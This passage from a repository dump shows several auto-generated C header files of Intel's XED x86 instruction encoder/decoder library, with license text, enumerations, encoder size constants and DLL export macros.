CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 29 | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 30 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 31 | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 32 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 33 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 34 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 35 | -------------------------------------------------------------------------------- /libs/xed2-intel64/include/xed-address-width-enum.h: -------------------------------------------------------------------------------- 1 | /*BEGIN_LEGAL 2 | Intel Open Source License 3 | 4 | Copyright (c) 2002-2014 Intel Corporation. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are 8 | met: 9 | 10 | Redistributions of source code must retain the above copyright notice, 11 | this list of conditions and the following disclaimer. Redistributions 12 | in binary form must reproduce the above copyright notice, this list of 13 | conditions and the following disclaimer in the documentation and/or 14 | other materials provided with the distribution. Neither the name of 15 | the Intel Corporation nor the names of its contributors may be used to 16 | endorse or promote products derived from this software without 17 | specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 20 | ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 21 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 22 | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR 23 | ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 24 | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 25 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 26 | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 27 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 28 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | END_LEGAL */ 31 | /// @file xed-address-width-enum.h 32 | 33 | // This file was automatically generated. 34 | // Do not edit this file. 35 | 36 | #if !defined(_XED_ADDRESS_WIDTH_ENUM_H_) 37 | # define _XED_ADDRESS_WIDTH_ENUM_H_ 38 | #include "xed-common-hdrs.h" 39 | typedef enum { 40 | XED_ADDRESS_WIDTH_INVALID=0, 41 | XED_ADDRESS_WIDTH_16b=2, ///< 16b addressing 42 | XED_ADDRESS_WIDTH_32b=4, ///< 32b addressing 43 | XED_ADDRESS_WIDTH_64b=8, ///< 64b addressing 44 | XED_ADDRESS_WIDTH_LAST 45 | } xed_address_width_enum_t; 46 | 47 | /// This converts strings to #xed_address_width_enum_t types. 48 | /// @param s A C-string. 49 | /// @return #xed_address_width_enum_t 50 | /// @ingroup ENUM 51 | XED_DLL_EXPORT xed_address_width_enum_t str2xed_address_width_enum_t(const char* s); 52 | /// This converts strings to #xed_address_width_enum_t types. 53 | /// @param p An enumeration element of type xed_address_width_enum_t. 54 | /// @return string 55 | /// @ingroup ENUM 56 | XED_DLL_EXPORT const char* xed_address_width_enum_t2str(const xed_address_width_enum_t p); 57 | 58 | /// Returns the last element of the enumeration 59 | /// @return xed_address_width_enum_t The last element of the enumeration. 60 | /// @ingroup ENUM 61 | XED_DLL_EXPORT xed_address_width_enum_t xed_address_width_enum_t_last(void); 62 | #endif 63 | -------------------------------------------------------------------------------- /libs/xed2-intel64/include/xed-attributes.h: -------------------------------------------------------------------------------- 1 | /*BEGIN_LEGAL 2 | Intel Open Source License 3 | 4 | Copyright (c) 2002-2014 Intel Corporation. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are 8 | met: 9 | 10 | Redistributions of source code must retain the above copyright notice, 11 | this list of conditions and the following disclaimer. Redistributions 12 | in binary form must reproduce the above copyright notice, this list of 13 | conditions and the following disclaimer in the documentation and/or 14 | other materials provided with the distribution. Neither the name of 15 | the Intel Corporation nor the names of its contributors may be used to 16 | endorse or promote products derived from this software without 17 | specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 20 | ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 21 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 22 | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR 23 | ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 24 | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 25 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 26 | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 27 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 28 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | END_LEGAL */ 31 | 32 | #if !defined(_XED_ATTRIBUTES_H_) 33 | # define _XED_ATTRIBUTES_H_ 34 | #include "xed-types.h" 35 | 36 | typedef struct { 37 | xed_uint64_t a1; 38 | xed_uint64_t a2; 39 | } xed_attributes_t; 40 | 41 | #endif 42 | -------------------------------------------------------------------------------- /libs/xed2-intel64/include/xed-common-defs.h: -------------------------------------------------------------------------------- 1 | /*BEGIN_LEGAL 2 | Intel Open Source License 3 | 4 | Copyright (c) 2002-2014 Intel Corporation. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are 8 | met: 9 | 10 | Redistributions of source code must retain the above copyright notice, 11 | this list of conditions and the following disclaimer. Redistributions 12 | in binary form must reproduce the above copyright notice, this list of 13 | conditions and the following disclaimer in the documentation and/or 14 | other materials provided with the distribution. Neither the name of 15 | the Intel Corporation nor the names of its contributors may be used to 16 | endorse or promote products derived from this software without 17 | specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 20 | ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 21 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 22 | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR 23 | ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 24 | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 25 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 26 | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 27 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 28 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | END_LEGAL */ 31 | /// @file xed-common-defs.h 32 | /// @brief some pervasive defines 33 | 34 | 35 | 36 | #ifndef _XED_COMMON_DEFS_H_ 37 | # define _XED_COMMON_DEFS_H_ 38 | 39 | //////////////////////////////////////////////////////////////////////////// 40 | 41 | #define XED_MAX_OPERANDS 11 42 | #define XED_MAX_NONTERMINALS_PER_INSTRUCTION 20 // FIXME somewhat arbitrary 43 | 44 | // for most things it is 4, but one 64b mov allows 8 45 | #define XED_MAX_DISPLACEMENT_BYTES 8 46 | 47 | // for most things it is max 4, but one 64b mov allows 8. 48 | #define XED_MAX_IMMEDIATE_BYTES 8 49 | 50 | #define XED_MAX_INSTRUCTION_BYTES 15 51 | 52 | 53 | #define XED_BYTE_MASK(x) ((x) & 0xFF) 54 | #define XED_BYTE_CAST(x) (XED_STATIC_CAST(xed_uint8_t,x)) 55 | 56 | //////////////////////////////////////////////////////////////////////////// 57 | // used for defining bit-field widths 58 | // Microsoft's compiler treats enumerations as signed and if you pack 59 | // the bit-field with values, when you assign it to a full-width enumeration, 60 | // you get junk-- a big negative number. This compensates for cases that I've 61 | // encountered 62 | #if defined(__GNUC__) 63 | # define XED_BIT_FIELD_PSEUDO_WIDTH4 4 64 | # define XED_BIT_FIELD_PSEUDO_WIDTH8 8 65 | #else 66 | # define XED_BIT_FIELD_PSEUDO_WIDTH4 8 67 | # define XED_BIT_FIELD_PSEUDO_WIDTH8 16 68 | #endif 69 | 70 | 71 | #endif 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | -------------------------------------------------------------------------------- /libs/xed2-intel64/include/xed-common-hdrs.h: -------------------------------------------------------------------------------- 1 | /*BEGIN_LEGAL 2 | Intel Open Source License 3 | 4 | Copyright (c) 2002-2014 Intel Corporation. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are 8 | met: 9 | 10 | Redistributions of source code must retain the above copyright notice, 11 | this list of conditions and the following disclaimer. Redistributions 12 | in binary form must reproduce the above copyright notice, this list of 13 | conditions and the following disclaimer in the documentation and/or 14 | other materials provided with the distribution. Neither the name of 15 | the Intel Corporation nor the names of its contributors may be used to 16 | endorse or promote products derived from this software without 17 | specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 20 | ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 21 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 22 | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR 23 | ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 24 | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 25 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 26 | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 27 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 28 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | END_LEGAL */ 31 | /// @file xed-common-hdrs.h 32 | /// 33 | 34 | 35 | 36 | #ifndef _XED_COMMON_HDRS_H_ 37 | # define _XED_COMMON_HDRS_H_ 38 | 39 | 40 | 41 | #if defined(__FreeBSD__) 42 | # define XED_BSD 43 | #endif 44 | #if defined(__linux__) 45 | # define XED_LINUX 46 | #endif 47 | #if defined(_MSC_VER) 48 | # define XED_WINDOWS 49 | #endif 50 | #if defined(__APPLE__) 51 | # define XED_MAC 52 | #endif 53 | 54 | 55 | #if defined(XED_DLL) 56 | // __declspec(dllexport) works with GNU GCC or MS compilers, but not ICC 57 | // on linux 58 | 59 | # if defined(XED_WINDOWS) 60 | # define XED_DLL_EXPORT __declspec(dllexport) 61 | # define XED_DLL_IMPORT __declspec(dllimport) 62 | # elif defined(XED_LINUX) || defined(XED_BSD) || defined(XED_MAC) 63 | # define XED_DLL_EXPORT __attribute__((visibility("default"))) 64 | # define XED_DLL_IMPORT 65 | # else 66 | # define XED_DLL_EXPORT 67 | # define XED_DLL_IMPORT 68 | # endif 69 | 70 | # if defined(XED_BUILD) 71 | /* when building XED, we export symbols */ 72 | # define XED_DLL_GLOBAL XED_DLL_EXPORT 73 | # else 74 | /* when building XED clients, we import symbols */ 75 | # define XED_DLL_GLOBAL XED_DLL_IMPORT 76 | # endif 77 | #else 78 | # define XED_DLL_EXPORT 79 | # define XED_DLL_IMPORT 80 | # define XED_DLL_GLOBAL 81 | #endif 82 | 83 | 84 | #if !defined(XED_MESSAGES) 85 | # define XED_MESSAGES 0 86 | #endif 87 | 88 | #if defined(XED_OMIT_ENCODER) 89 | /* do not emit an encoder */ 90 | #else 91 | # define XED_ENCODER 92 | #endif 93 | 94 | #if defined(XED_OMIT_DECODER) 95 | /* do not emit a decoder */ 96 | #else 97 | # define XED_DECODER 98 | #endif 99 | 100 | #endif 101 | 102 | -------------------------------------------------------------------------------- /libs/xed2-intel64/include/xed-convert-table-init.h: -------------------------------------------------------------------------------- 1 | /*BEGIN_LEGAL 2 | Intel Open Source License 3 | 4 | Copyright (c) 2002-2014 Intel Corporation. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are 8 | met: 9 | 10 | Redistributions of source code must retain the above copyright notice, 11 | this list of conditions and the following disclaimer. Redistributions 12 | in binary form must reproduce the above copyright notice, this list of 13 | conditions and the following disclaimer in the documentation and/or 14 | other materials provided with the distribution. Neither the name of 15 | the Intel Corporation nor the names of its contributors may be used to 16 | endorse or promote products derived from this software without 17 | specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 20 | ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 21 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 22 | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR 23 | ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 24 | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 25 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 26 | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 27 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 28 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | END_LEGAL */ 31 | /// @file xed-convert-table-init.h 32 | 33 | // This file was automatically generated. 34 | // Do not edit this file. 35 | 36 | #if !defined(_XED_CONVERT_TABLE_INIT_H_) 37 | # define _XED_CONVERT_TABLE_INIT_H_ 38 | #include "xed-internal-header.h" 39 | typedef struct { 40 | 41 | const char** table_name; 42 | 43 | xed_operand_enum_t opnd; 44 | 45 | unsigned int limit; 46 | 47 | } xed_convert_table_t; 48 | extern xed_convert_table_t xed_convert_table[XED_OPERAND_CONVERT_LAST]; 49 | #endif 50 | -------------------------------------------------------------------------------- /libs/xed2-intel64/include/xed-encoder-gen-defs.h: -------------------------------------------------------------------------------- 1 | /*BEGIN_LEGAL 2 | Intel Open Source License 3 | 4 | Copyright (c) 2002-2014 Intel Corporation. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are 8 | met: 9 | 10 | Redistributions of source code must retain the above copyright notice, 11 | this list of conditions and the following disclaimer. Redistributions 12 | in binary form must reproduce the above copyright notice, this list of 13 | conditions and the following disclaimer in the documentation and/or 14 | other materials provided with the distribution. Neither the name of 15 | the Intel Corporation nor the names of its contributors may be used to 16 | endorse or promote products derived from this software without 17 | specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 20 | ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 21 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 22 | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR 23 | ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 24 | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 25 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 26 | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 27 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 28 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | END_LEGAL */ 31 | /// @file xed-encoder-gen-defs.h 32 | 33 | // This file was automatically generated. 34 | // Do not edit this file. 35 | 36 | #if !defined(_XED_ENCODER_GEN_DEFS_H_) 37 | # define _XED_ENCODER_GEN_DEFS_H_ 38 | #define XED_ENCODE_ORDER_MAX_ENTRIES 31 39 | #define XED_ENCODE_ORDER_MAX_OPERANDS 5 40 | #define XED_ENCODE_MAX_FB_PATTERNS 49 41 | #define XED_ENCODE_MAX_EMIT_PATTERNS 101 42 | #define XED_ENCODE_FB_VALUES_TABLE_SIZE 1503 43 | #define XED_ENCODE_MAX_IFORMS 3436 44 | #define XED_ENC_GROUPS 289 45 | #endif 46 | -------------------------------------------------------------------------------- /libs/xed2-intel64/include/xed-encoder-iforms.h: -------------------------------------------------------------------------------- 1 | /*BEGIN_LEGAL 2 | Intel Open Source License 3 | 4 | Copyright (c) 2002-2014 Intel Corporation. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are 8 | met: 9 | 10 | Redistributions of source code must retain the above copyright notice, 11 | this list of conditions and the following disclaimer. Redistributions 12 | in binary form must reproduce the above copyright notice, this list of 13 | conditions and the following disclaimer in the documentation and/or 14 | other materials provided with the distribution. Neither the name of 15 | the Intel Corporation nor the names of its contributors may be used to 16 | endorse or promote products derived from this software without 17 | specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 20 | ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 21 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 22 | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR 23 | ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 24 | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 25 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 26 | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 27 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 28 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | END_LEGAL */ 31 | /// @file xed-encoder-iforms.h 32 | 33 | // This file was automatically generated. 34 | // Do not edit this file. 35 | 36 | #if !defined(_XED_ENCODER_IFORMS_H_) 37 | # define _XED_ENCODER_IFORMS_H_ 38 | #include "xed-types.h" 39 | typedef struct xed_encoder_iforms_s { 40 | xed_uint32_t x_MEMDISPv; 41 | xed_uint32_t x_SIBBASE_ENCODE_SIB1; 42 | xed_uint32_t x_VEX_MAP_ENC; 43 | xed_uint32_t x_SIB_NT; 44 | xed_uint32_t x_UIMM8_1; 45 | xed_uint32_t x_SIBBASE_ENCODE; 46 | xed_uint32_t x_VEX_ESCVL_ENC; 47 | xed_uint32_t x_PREFIX_ENC; 48 | xed_uint32_t x_VEXED_REX; 49 | xed_uint32_t x_REMOVE_SEGMENT; 50 | xed_uint32_t x_VSIB_ENC; 51 | xed_uint32_t x_MODRM_RM_ENCODE_EA64_SIB0; 52 | xed_uint32_t x_VEX_REXXB_ENC; 53 | xed_uint32_t x_VEX_REG_ENC; 54 | xed_uint32_t x_SIMM8; 55 | xed_uint32_t x_MODRM_RM_ENCODE_EA32_SIB0; 56 | xed_uint32_t x_UIMM8; 57 | xed_uint32_t x_MODRM_RM_ENCODE_EA16_SIB0; 58 | xed_uint32_t x_XOP_REXXB_ENC; 59 | xed_uint32_t x_MEMDISP8; 60 | xed_uint32_t x_MODRM_RM_ENCODE; 61 | xed_uint32_t x_REX_PREFIX_ENC; 62 | xed_uint32_t x_UIMM16; 63 | xed_uint32_t x_VEX_TYPE_ENC; 64 | xed_uint32_t x_VEX_REXR_ENC; 65 | xed_uint32_t x_BRDISP32; 66 | xed_uint32_t x_MEMDISP32; 67 | xed_uint32_t x_MEMDISP16; 68 | xed_uint32_t x_SIBINDEX_ENCODE; 69 | xed_uint32_t x_SE_IMM8; 70 | xed_uint32_t x_UIMM32; 71 | xed_uint32_t x_SIMMz; 72 | xed_uint32_t x_UIMMv; 73 | xed_uint32_t x_XOP_MAP_ENC; 74 | xed_uint32_t x_DISP_NT; 75 | xed_uint32_t x_MODRM_MOD_ENCODE; 76 | xed_uint32_t x_MEMDISP; 77 | xed_uint32_t x_VSIB_ENC_BASE; 78 | xed_uint32_t x_BRDISP8; 79 | xed_uint32_t x_BRDISPz; 80 | xed_uint32_t x_XOP_TYPE_ENC; 81 | } xed_encoder_iforms_t; 82 | #endif 83 | -------------------------------------------------------------------------------- /libs/xed2-intel64/include/xed-exception-enum.h: -------------------------------------------------------------------------------- 1 | /*BEGIN_LEGAL 2 | Intel Open Source License 3 | 4 | Copyright (c) 2002-2014 Intel Corporation. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are 8 | met: 9 | 10 | Redistributions of source code must retain the above copyright notice, 11 | this list of conditions and the following disclaimer. Redistributions 12 | in binary form must reproduce the above copyright notice, this list of 13 | conditions and the following disclaimer in the documentation and/or 14 | other materials provided with the distribution. Neither the name of 15 | the Intel Corporation nor the names of its contributors may be used to 16 | endorse or promote products derived from this software without 17 | specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 20 | ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 21 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 22 | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR 23 | ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 24 | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 25 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 26 | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 27 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 28 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | END_LEGAL */ 31 | /// @file xed-exception-enum.h 32 | 33 | // This file was automatically generated. 34 | // Do not edit this file. 35 | 36 | #if !defined(_XED_EXCEPTION_ENUM_H_) 37 | # define _XED_EXCEPTION_ENUM_H_ 38 | #include "xed-common-hdrs.h" 39 | typedef enum { 40 | XED_EXCEPTION_INVALID, 41 | XED_EXCEPTION_AVX_TYPE_1, 42 | XED_EXCEPTION_AVX_TYPE_2, 43 | XED_EXCEPTION_AVX_TYPE_2D, 44 | XED_EXCEPTION_AVX_TYPE_3, 45 | XED_EXCEPTION_AVX_TYPE_4, 46 | XED_EXCEPTION_AVX_TYPE_4M, 47 | XED_EXCEPTION_AVX_TYPE_5, 48 | XED_EXCEPTION_AVX_TYPE_6, 49 | XED_EXCEPTION_AVX_TYPE_7, 50 | XED_EXCEPTION_AVX_TYPE_8, 51 | XED_EXCEPTION_AVX_TYPE_9, 52 | XED_EXCEPTION_AVX_TYPE_9L, 53 | XED_EXCEPTION_SSE_TYPE_1, 54 | XED_EXCEPTION_SSE_TYPE_2, 55 | XED_EXCEPTION_SSE_TYPE_2D, 56 | XED_EXCEPTION_SSE_TYPE_3, 57 | XED_EXCEPTION_SSE_TYPE_4, 58 | XED_EXCEPTION_SSE_TYPE_4M, 59 | XED_EXCEPTION_SSE_TYPE_5, 60 | XED_EXCEPTION_SSE_TYPE_7, 61 | XED_EXCEPTION_LAST 62 | } xed_exception_enum_t; 63 | 64 | /// This converts strings to #xed_exception_enum_t types. 65 | /// @param s A C-string. 66 | /// @return #xed_exception_enum_t 67 | /// @ingroup ENUM 68 | XED_DLL_EXPORT xed_exception_enum_t str2xed_exception_enum_t(const char* s); 69 | /// This converts strings to #xed_exception_enum_t types. 70 | /// @param p An enumeration element of type xed_exception_enum_t. 71 | /// @return string 72 | /// @ingroup ENUM 73 | XED_DLL_EXPORT const char* xed_exception_enum_t2str(const xed_exception_enum_t p); 74 | 75 | /// Returns the last element of the enumeration 76 | /// @return xed_exception_enum_t The last element of the enumeration. 77 | /// @ingroup ENUM 78 | XED_DLL_EXPORT xed_exception_enum_t xed_exception_enum_t_last(void); 79 | #endif 80 | -------------------------------------------------------------------------------- /libs/xed2-intel64/include/xed-flag-action-enum.h: -------------------------------------------------------------------------------- 1 | /*BEGIN_LEGAL 2 | Intel Open Source License 3 | 4 | Copyright (c) 2002-2014 Intel Corporation. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are 8 | met: 9 | 10 | Redistributions of source code must retain the above copyright notice, 11 | this list of conditions and the following disclaimer. Redistributions 12 | in binary form must reproduce the above copyright notice, this list of 13 | conditions and the following disclaimer in the documentation and/or 14 | other materials provided with the distribution. Neither the name of 15 | the Intel Corporation nor the names of its contributors may be used to 16 | endorse or promote products derived from this software without 17 | specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 20 | ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 21 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 22 | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR 23 | ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 24 | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 25 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 26 | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 27 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 28 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | END_LEGAL */ 31 | /// @file xed-flag-action-enum.h 32 | 33 | // This file was automatically generated. 34 | // Do not edit this file. 35 | 36 | #if !defined(_XED_FLAG_ACTION_ENUM_H_) 37 | # define _XED_FLAG_ACTION_ENUM_H_ 38 | #include "xed-common-hdrs.h" 39 | typedef enum { 40 | XED_FLAG_ACTION_INVALID, 41 | XED_FLAG_ACTION_u, ///< undefined (treated as a write) 42 | XED_FLAG_ACTION_tst, ///< test (read) 43 | XED_FLAG_ACTION_mod, ///< modification (write) 44 | XED_FLAG_ACTION_0, ///< value will be zero (write) 45 | XED_FLAG_ACTION_pop, ///< value comes from the stack (write) 46 | XED_FLAG_ACTION_ah, ///< value comes from AH (write) 47 | XED_FLAG_ACTION_1, ///< value will be 1 (write) 48 | XED_FLAG_ACTION_LAST 49 | } xed_flag_action_enum_t; 50 | 51 | /// This converts strings to #xed_flag_action_enum_t types. 52 | /// @param s A C-string. 53 | /// @return #xed_flag_action_enum_t 54 | /// @ingroup ENUM 55 | XED_DLL_EXPORT xed_flag_action_enum_t str2xed_flag_action_enum_t(const char* s); 56 | /// This converts strings to #xed_flag_action_enum_t types. 57 | /// @param p An enumeration element of type xed_flag_action_enum_t. 58 | /// @return string 59 | /// @ingroup ENUM 60 | XED_DLL_EXPORT const char* xed_flag_action_enum_t2str(const xed_flag_action_enum_t p); 61 | 62 | /// Returns the last element of the enumeration 63 | /// @return xed_flag_action_enum_t The last element of the enumeration. 64 | /// @ingroup ENUM 65 | XED_DLL_EXPORT xed_flag_action_enum_t xed_flag_action_enum_t_last(void); 66 | #endif 67 | -------------------------------------------------------------------------------- /libs/xed2-intel64/include/xed-format-options.h: -------------------------------------------------------------------------------- 1 | /*BEGIN_LEGAL 2 | Intel Open Source License 3 | 4 